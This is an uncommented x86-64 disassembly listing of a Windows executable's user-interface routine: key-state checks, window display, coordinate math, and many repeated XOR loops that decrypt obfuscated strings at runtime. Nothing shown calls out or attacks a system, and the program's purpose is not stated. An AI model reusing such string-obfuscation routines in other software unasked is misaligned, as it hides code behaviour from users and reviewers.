movss dword [rbp + 0x5c], xmm1
movss dword [rbp + 0x58], xmm0
call fcn.140003a80
movss xmm0, dword [r14]
mulss xmm0, dword [0x1403f43c8]
mov dword [rbp + 0x110], 0x3f800000
movss xmm4, dword [rsp + 0x70]
movss xmm3, dword [rsp + 0x7c]
subss xmm4, xmm0
mov dword [rbp + 0x114], 0x3f800000
mov qword [rbp + 0xa0], r12
movaps xmm0, xmm3
movaps xmm1, xmm4
subss xmm1, dword [0x1403f442c]
addss xmm1, dword [rsp + 0x78]
movss dword [rbp + 0x118], xmm1
subss xmm4, dword [0x1403f4444]
addss xmm3, dword [0x1403f4420]
mov rdx, qword [0x140593150]
addss xmm0, xmm6
mov dword [rsp + 0x30], eax
lea r9, [rbp + 0x118]
lea rax, [rbp + 0x110]
mov rcx, rbx
addss xmm4, dword [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x120]
lea rax, [rbp + 0xa0]
movss dword [rbp + 0x11c], xmm0
movss dword [rbp + 0x124], xmm3
mov qword [rsp + 0x20], rax
movss dword [rbp + 0x120], xmm4
call fcn.14002b670
mov edi, 1
mov ecx, edi
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1402beb7d
movss xmm0, dword [r14]
lea rcx, [rbp + 0x7c0]
mulss xmm0, dword [0x1403f43c8]
movaps xmm2, xmm6
movss xmm1, dword [rsp + 0x70]
subss xmm1, xmm0
subss xmm1, dword [0x1403f43c0]
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x7d8]
call fcn.140043f00
movss xmm0, dword [r14]
lea rcx, [rbp + 0x7e0]
mulss xmm0, dword [0x1403f43c8]
mov rbx, rax
movss xmm1, dword [rsp + 0x70]
movss xmm2, dword [0x1403f4420]
subss xmm1, xmm0
subss xmm1, dword [0x1403f4410]
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x7e8]
call fcn.140043f00
movzx r8d, dil
mov rdx, rbx
mov rcx, rax
call fcn.1400128a0
test al, al
jne 0x1402c560e
mov ecx, edi
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1402bec3f
movss xmm0, dword [r14]
lea rcx, [rbp + 0x7f0]
mulss xmm0, dword [0x1403f43c8]
movaps xmm2, xmm6
movss xmm1, dword [rsp + 0x70]
subss xmm1, xmm0
subss xmm1, dword [0x1403f442c]
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x7f8]
call fcn.140043f00
movss xmm0, dword [r14]
lea rcx, [rbp + 0x800]
mulss xmm0, dword [0x1403f43c8]
mov rbx, rax
movss xmm1, dword [rsp + 0x70]
movss xmm2, dword [0x1403f4420]
subss xmm1, xmm0
subss xmm1, dword [0x1403f4444]
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x808]
call fcn.140043f00
movzx r8d, dil
mov rdx, rbx
mov rcx, rax
call fcn.1400128a0
test al, al
je 0x1402bec3f
mov rcx, qword [0x1405932a0]
mov edx, 6
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x140593558]
call fcn.140003f50
lea rcx, [0x1405935d8]
mov edi, eax
call fcn.140003f50
lea rdx, [rbp + 0x978]
mov byte [rsp + 0x61], r12b
lea rcx, [rsp + 0x61]
mov esi, eax
call fcn.1402c5c80
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1402bec9e
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor cl, 0x41
mov byte [rax + 8], cl
xor r9d, r9d
movss dword [rsp + 0x20], xmm12
xor r8d, r8d
lea rcx, [rbp + 0x810]
mov rdx, rax
call fcn.14000af90
movss xmm2, dword [0x1403f445c]
lea rcx, [rbp + 0x818]
movss xmm1, dword [r14]
mulss xmm1, dword [0x1403f43c8]
subss xmm2, dword [rax + 4]
mulss xmm2, xmm10
subss xmm2, dword [0x1403f43e8]
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x820]
call fcn.140043f00
lea rdx, [rbp + 0x993]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
mov rbx, rax
call fcn.1402c5c80
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1402bed47
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor cl, 0x41
mov byte [rax + 8], cl
movss xmm0, dword [0x1403f4434]
mov r9d, esi
mov rcx, qword [0x1405931e0]
mov r8, rbx
movss dword [rsp + 0x28], xmm0
mov rdx, rax
mov dword [rsp + 0x20], edi
call fcn.1402b81a0
mov rcx, qword [0x140593120]
call fcn.140011460
call fcn.140011b40
lea rdx, [rbp + 0xa70]
mov byte [rsp + 0x63], r12b
lea rcx, [rsp + 0x63]
mov r14, rax
call fcn.1402c5ca0
mov rdi, rax
cmp byte [rax + 0xf], r12b
je 0x1402beee7
cmp r15d, 2
jl 0x1402bf06c
movdqa xmm0, xmmword [0x1403f4680]
mov edx, r12d
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov r8d, dword [rbp - 0x60]
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x1402bede0
mov ebx, dword [rsp + 0x64]
lea rcx, [0x140593538]
call fcn.140003f50
lea rdx, [rbp + 0xa80]
mov byte [rbp - 0xf], r12b
lea rcx, [rbp - 0xf]
mov esi, eax
call fcn.1402c5ca0
mov r10, rax
cmp byte [rax + 0xf], r12b
je 0x1402bf104
cmp r15d, 2
jl 0x1402bf0b9
movdqa xmm0, xmmword [0x1403f4680]
mov edx, r12d
movdqa xmm5, xmmword [0x1403f45a0]
mov rcx, rax
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov r8d, dword [rbp - 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x1402bef60
jmp 0x1402bf104
mov ebx, dword [rsp + 0x64]
mov r9, rdi
mov dword [rsp + 0x64], ebx
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1402bf080
jmp 0x1402beeeb
mov r9, r10
mov dword [rsp + 0x64], ebx
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1402bf0d0
xor r9d, r9d
movss dword [rsp + 0x20], xmm12
xor r8d, r8d
lea rcx, [rbp + 0x828]
mov rdx, r10
call fcn.14000af90
movss xmm2, dword [0x1403f445c]
lea rcx, [rbp + 0x830]
mov rbx, qword [rbp - 0x68]
subss xmm2, dword [rax + 4]
movss xmm1, dword [rbx]
mulss xmm1, dword [0x1403f43c8]
mulss xmm2, xmm10
addss xmm2, dword [0x1403f43f4]
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x838]
call fcn.140043f00
mov r9, rdi
mov qword [rsp + 0x20], r12
mov r8d, esi
mov rdx, rax
mov rcx, r14
call fcn.14002b570
call fcn.140011500
call fcn.140007af0
lea rcx, [0x140593558]
mov r15, rax
call fcn.140003f50
movaps xmm2, xmm13
lea rcx, [rbp + 0x840]
movaps xmm1, xmm13
mov r14d, eax
call fcn.140001450
movaps xmm2, xmm8
lea rcx, [rbp + 0x848]
movaps xmm1, xmm8
mov rsi, rax
call fcn.140001450
movss xmm0, dword [rbx]
lea rcx, [rbp + 0x850]
movss xmm2, dword [0x1403f443c]
mov rdi, rax
cvtps2pd xmm0, xmm0
mulsd xmm0, qword [0x1403f4398]
addsd xmm0, qword [0x1403f43b8]
cvtpd2ps xmm1, xmm0
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x858]
call fcn.140043f00
movss xmm2, dword [0x1403f4414]
lea rcx, [rbp + 0x860]
mov rbx, rax
mov rax, qword [rbp - 0x68]
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
mulsd xmm0, qword [0x1403f4398]
subsd xmm0, qword [0x1403f43b0]
cvtpd2ps xmm1, xmm0
call fcn.140001450
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x868]
call fcn.140043f00
mov rdx, qword [0x140593160]
mov r9, rbx
mov dword [rsp + 0x30], r14d
mov r8, rax
mov qword [rsp + 0x28], rsi
mov rcx, r15
mov qword [rsp + 0x20], rdi
call fcn.14002b670
mov eax, dword [0x140593340]
cmp dword [0x14059312c], eax
jne 0x1402bf28f
movaps xmm6, xmm13
jmp 0x1402bf293
movaps xmm6, xmm12
call fcn.1400078b0
movaps xmm2, xmm13
movaps xmm1, xmm8
movss xmm0, dword [rax + 0x10]
mulss xmm0, dword [0x1403f43c8]
mulss xmm0, xmm6
addss xmm0, dword [0x140593358]
call fcn.1402c85e0
mov eax, dword [0x140593340]
cmp dword [0x14059312c], eax
movss dword [0x140593358], xmm0
jne 0x1402bf2da
movaps xmm6, xmm13
jmp 0x1402bf2de
movaps xmm6, xmm12
call fcn.1400078b0
movss xmm0, dword [0x1403f44a8]
mov rbx, rax
call fcn.140043fd0
mulss xmm0, dword [rbx + 0x10]
movaps xmm2, xmm13
movaps xmm1, xmm8
mulss xmm0, xmm6
addss xmm0, dword [0x14059367c]
call fcn.1402c85e0
movss xmm1, dword [0x140593358]
ucomiss xmm1, xmm8
movss dword [0x14059367c], xmm0
jp 0x1402bf33d
jne 0x1402bf33d
ucomiss xmm0, xmm8
jp 0x1402bf33d
jne 0x1402bf33d
mov eax, dword [0x14059312c]
mov dword [0x140593340], eax
call fcn.140003f10
movss xmm1, dword [0x140593358]
xor ecx, ecx
mulss xmm1, dword [rax]
call fcn.140004130
mov eax, dword [0x140593340]
test eax, eax
jne 0x1402c0819
lea rcx, [0x140593558]
call fcn.140003f50
lea rcx, [0x1405935d8]
mov r14d, eax
call fcn.140003f50
lea rdx, [rbp + 0x870]
mov byte [rbp - 0xe], r12b
lea rcx, [rbp - 0xe]
mov r15d, eax
call fcn.1402c5cb0
mov esi, dword [reloc.WS2_32.dll_accept]
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402bf4b1
cmp esi, 2
jl 0x1402bf656
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov edi, dword [rsp + 0x64]
movss xmm6, dword [rsp + 0x74]
lea rdx, [rbp + 0x878]
mov rcx, qword [0x1405931d0]
movss xmm3, dword [0x1403f44e0]
mov qword [rsp + 0x38], r12
mulss xmm6, xmm10
mov qword [rsp + 0x30], r12
movss xmm2, dword [rcx + 0x14]
mov qword [rsp + 0x28], r10
mulss xmm6, xmm10
movss dword [rsp + 0x20], xmm8
call fcn.140033cc0
movaps xmm1, xmm8
lea rcx, [rbp + 0x880]
movss xmm0, dword [rax + 4]
mulss xmm0, xmm10
subss xmm6, xmm0
addss xmm6, dword [0x1403f43e8]
movaps xmm2, xmm6
call fcn.140001450
lea rdx, [rbp + 0x888]
mov byte [rbp - 0xd], r12b
lea rcx, [rbp - 0xd]
mov rbx, rax
call fcn.1402c5cb0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402bf6f3
cmp esi, 2
jl 0x1402bf6a8
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402bf6f3
mov edi, dword [rsp + 0x64]
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402bf670
jmp 0x1402bf4b5
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402bf6c0
mov rcx, qword [0x1405931d0]
lea rdx, [rbp + 0x890]
movss xmm3, dword [0x1403f44e0]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
movss xmm2, dword [rcx + 0x14]
mov qword [rsp + 0x28], r10
movss dword [rsp + 0x20], xmm8
call fcn.140033cc0
mov r8, rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x8d8]
call fcn.140043f30
mov rdx, rax
lea rcx, [rbp + 0x8e0]
movaps xmm2, xmm14
call fcn.140043ee0
mov r8, rax
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x8e8]
call fcn.140043f00
mov r8, rbx
lea rcx, [rbp + 0x8f0]
mov rdx, rax
call fcn.140043f30
lea rdx, [rbp + 0x8f8]
mov byte [rbp - 0x1a], r12b
lea rcx, [rbp - 0x1a]
mov rbx, rax
call fcn.1402c5cb0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402bf8e3
cmp esi, 2
jl 0x1402bf8a5
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402bf8e3
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402bf8b0
movss xmm0, dword [0x1403f4408]
mov r9d, r15d
mov rcx, qword [0x1405931d0]
mov r8, rbx
movss dword [rsp + 0x28], xmm0
mov rdx, r10
mov dword [rsp + 0x20], r14d
call fcn.1402b81a0
movss xmm2, dword [rsp + 0x74]
lea rcx, [rbp + 0x900]
movss xmm1, dword [rsp + 0x70]
subss xmm1, dword [0x1403f44a4]
mov r15, qword [rbp - 0x68]
movss xmm0, dword [r15 + 4]
addss xmm0, xmm9
mulss xmm1, xmm10
mulss xmm0, dword [0x1403f43c0]
subss xmm2, xmm0
mulss xmm2, xmm10
subss xmm2, dword [0x1403f43cc]
call fcn.140001450
mov rcx, rax
call fcn.140015700
call fcn.1400159b0
movss xmm1, dword [0x1403f44a0]
lea rcx, [rbp + 0x908]
movaps xmm2, xmm9
call fcn.140001450
lea rdx, [rbp + 0x10]
mov byte [rbp - 0xc], r12b
lea rcx, [rbp - 0xc]
mov r14, rax
call fcn.1402c5cd0
mov rbx, rax
cmp byte [rax + 0x14], r12b
je 0x1402bfb34
mov r8d, r12d
cmp esi, 2
jl 0x1402bfaee
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, r13d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1402bf9e0
cmp r8d, 0x15
jge 0x1402bfb34
movsxd r9, r8d
add r9, rbx
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1402bfb00
lea rdx, [rbp + 0x910]
mov byte [rbp - 0xb], r12b
lea rcx, [rbp - 0xb]
call fcn.1402c5cc0
mov r10, rax
cmp byte [rax + 7], r12b
je 0x1402bfca3
cmp esi, 2
jl 0x1402bfc60
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1402bfca3
mov r9, r10
mov dword [rsp + 0x64], edi
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x1402bfc70
mov qword [rsp + 0x38], r12
lea r8, [0x1405932e8]
mov qword [rsp + 0x30], r12
mov r9d, reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], r12d
mov rdx, rbx
mov rcx, r10
mov qword [rsp + 0x20], r14
call fcn.14003ccc0
movaps xmm1, xmm12
movaps xmm0, xmm8
call fcn.140015620
lea rcx, [0x1405935d8]
call fcn.140003f50
movaps xmm2, xmm9
lea rcx, [rbp + 0x958]
movaps xmm1, xmm9
mov ebx, eax
call fcn.140001450
mov rcx, qword [0x140593130]
mov r8d, ebx
movss xmm0, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.140036890
movss xmm1, dword [0x1403f44a0]
lea rcx, [rbp + 0x960]
movaps xmm2, xmm9
call fcn.140001450
lea rdx, [rbp + 0x10]
mov byte [rbp - 9], r12b
